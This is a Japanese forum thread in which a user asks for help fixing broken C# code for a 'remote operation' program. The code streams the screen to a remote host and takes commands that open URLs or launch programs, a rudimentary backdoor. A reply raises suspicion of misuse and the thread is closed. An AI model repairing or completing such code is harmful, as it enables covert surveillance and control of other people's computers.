遠隔操作のプログラム

フォーラム(掲示板)ルール
フォーラム(掲示板)ルールはこちら  ※コードを貼り付ける場合は [code][/code] で囲って下さい。詳しくはこちら
Daiki

遠隔操作のプログラム

#1

投稿記事 by Daiki » 11年前

遠隔操作のプログラムをC#で作ってみようと思って、やってみたんですが
うまくつくれません。
OSはウィンドウズ7です
コンパイラはVisual Studio Express 2012 for Windows Desktopです
Form1です

コード:

using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using watch.watchLib;

namespace watch
{
    public partial class Forml : Form1
    {

        private ConnectServer imageServer = new ConnectServer();
        private ConnectMessage messageServer = new ConnectMessage();
        public Forml()
        {
            InitializeComponent();
        }
        private void Forml_Load(object sender, EventArgs e)
        {

            imageServer.startServer();
            messageServer.startServer();
        }



        private void Forml_foraClosing(object sender, ForaClosingEventArgs e)
        {
            imageServer.kill();
            messageServer.kill();
        }
    }
}
次にConnectMessage.csです

コード:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Threading;
using System.Net;
using System.Windows.Forms;
using System.Drawing;
using System.ID;
using System.Diagnostics;

namespace watchLib
{
    public class ConnectMessare
    {
        //リスナースレッド
        private Thread th;

      
         private TcpClient client;
          public String remote_IP = "            ";}
          public Int32 remote_Port =        ;
         private  bool thread_status = true;
         private  Capture capture();

         public void startServer()
          {
               th = new Thread(DataListener);
               th.IsBackground = true;
               th.Start();
}
 
         ///<summary>
         ///強制終了
         ///</summary>
        public void kill()
         {
         if (client != null && client.connected == true)
         {
                 client.Close();
}
                 thread_status = false;
                 th.Abort();
}

                 thread_status = false;
                  th.Abort();

}

//リスナースレッド
private void DataListener()
{



                  if (client == null)
{
              client = new TcpClient();

     }
client.Connect(remote_IP, remote_Port);
while (thread_status == false)
{
     if (client.Connected == false)
{
       break;
}

Byte[] readData = new Byte[100000];
NetworkStream ns = client.GetStram();
//ns.Write(sendData, 0, sendData.Length);
ns.Read(reaData, 0, sendData.Length);
String Client_command = System.Text.Encoding.ASCII.GetString(reaData);
client_command = client_command.Replace("\r", "").Replace("/n", "");
if (client_command.CompareTo("bye") == 0)
{
           Environment.Exit(0);
{

    Environment.Exit(0);
     kill();

     }

else if (client_command.CompareTo("paint") == 0)
{
         Process.Start("mspaint.exe");
}
      else if (HasString(client_command,"http"))
{
Process.Start(client_command);
}
else
{
      MessageBox.Show(client_command);
}
//Debug.WriteLine("send image");
Thread.Sleep(200);
}
try
{
}
catch (Exception ex)
{

     MessageBox.Show(ex.ToString() + "Server error");
    kill();
}
}
bool HasString(string target, string word)
{
  if (word == "")
         return false;
     if(target.IndexOf (word) >= 0)
{
     return true;
}
    else
     {
           return false;
}
}
}
}

次にConectServer.csです

コード:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Threading;
using System.Net;
using System.Windows.Forms;
using System.Drawing;
using System.IO;
using System.Diagnostics;

namespace watchLib
{
    public class ConnectServer
    {
        // リスナースレッド
        private Thread th;

        private TcpClient Client;
        public String remote_IP = "       ";
        public Int32 remote_Port =      ;
        private bool thread_status = true;
        private Capture capture = new Capture();

        public void startServer()
        {
            th = new Thread(DataListener);
            th.IsBackground = true;
            th.Start();
        }

        /// <summary>
        /// 強制終了
        /// <summary>
        public void kill()
        {
            if (client != null && client.Connected == true)
            {
                client.Close();
            }

            thread_status = false;
            th.Abort();
        }

        // リスナースレッド
        private void DataListener()
        {
            try
            {
                if (client == null)
                {
                    client = new TcpClient();
                }
                client.Connect(remote_IP, remote_port);
                while (thread_status == true)
                {
                    System.IO.MemoryStream mmsl = new System.IO.MemoryStream();
                    capture.getCaptureImage().Save(mms1,
                        System.Drawing.Imaging.ImageFormat.Bap);
                    Byte[] sendDate = mmsl.GetBuffer();
                    mmsl.Close();
                    NetworkStream ns = client.GetStream();
                    ns.Write(sendData, 0, sendData - Length);
                    Debug.WriteLine("send image");
                    Thread.Sleep(200);
                }
            }
            catch (Exception ex)
            {
                kill();
                //MessageBox.Show(ex.ToString() + "Server error.");
            }
        }

        public System.Drawing.Bitmap ConvertBytesToImage(byte[] Image_Bytes)
        {
            //入力因数の異常時のエラー処理
            if ((Image_Bytes == null) || (Image_Bytes.Length == 0))
            {
                return null;
            }

            // 返却用Bitmap型オブジェクト
            System.Drawing.Bitmap ResultBmp;

            // バイナリ(Byte配列)をストリームに保存
            using (System.IO.MemoryStream ms = new System.IO.MemoryStream(Image_Bytes))
            {
                // ストリームのバイナリ(Byte配列)をBitmapに変換
                ResultBmp = new System.Drawing.Bitmap(ms);

                //ストリームのクローズ
                ms.Close();
            }



        }

    }
}

次にCaptutr.csです

コード:

using System;
using System.Collection.Gamerric;
using System.Ling;
using System.Text;
using System.Threading;Tasks;

using System.ComponetModel;
using System.Data;
using System.Drawing;
using System.Windows.Forms;
using System.IO;

namespaca vatch.VatchLib
{
   class Capture
    {

      //添付に使用
      private DateTime imageIndex;



       /// <summary>
       /// 現在時刻を画像の添え字として提供
       /// </summary>
       /// <returns></returns>
      private String getImageIndex() {
         imageIndex = DateTime.Now;
        return imageIndex.ToString();
   }
   
    /**
   public Boolean savaCaptureImage(File path. string file_name)
{
      try
      {
         Bitmap bap = new Bitmap(Screen-PrimaryScoreen-Bounds.Width. screen.PrimaryScoreen-Bounds.Heigth);
Graphics graph = Graphics.fromImage(bap);
graph.CopyFrowScoreen(new Point(0,0). new Point(0,0),bap-Size);
graph.Dispase();
bap.Sava(0""" + getIndex() + ".bmp");
  return true;
}
catch
{
      return false;
}

}
* **/

public  Bitmap getCaptureImage()
{
   try
   {
       Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width. Screen-PrimaryScoreen-Bounds-Height);
graph.Dispose();
getIndex();
return bmp;
}
catch
{
      return null;
 }
}
   }
}


どこが間違っているか詳しく教えてください。
どうやって直すかおしえてください。
よろしくおねがいします。

アバター
ookami
記事: 214
登録日時: 14年前
住所: 東京都

Re: 遠隔操作のプログラム

#2

投稿記事 by ookami » 11年前

別のトピックで「悪用はしないので」と言われていた方ですか?
名前は統一した方がいいですよ。

みけCATさんにインデントを直すように言われていたと思うのですが直っていないようです。
まずそこから始めては?

閉鎖

“C言語何でも質問掲示板” へ戻る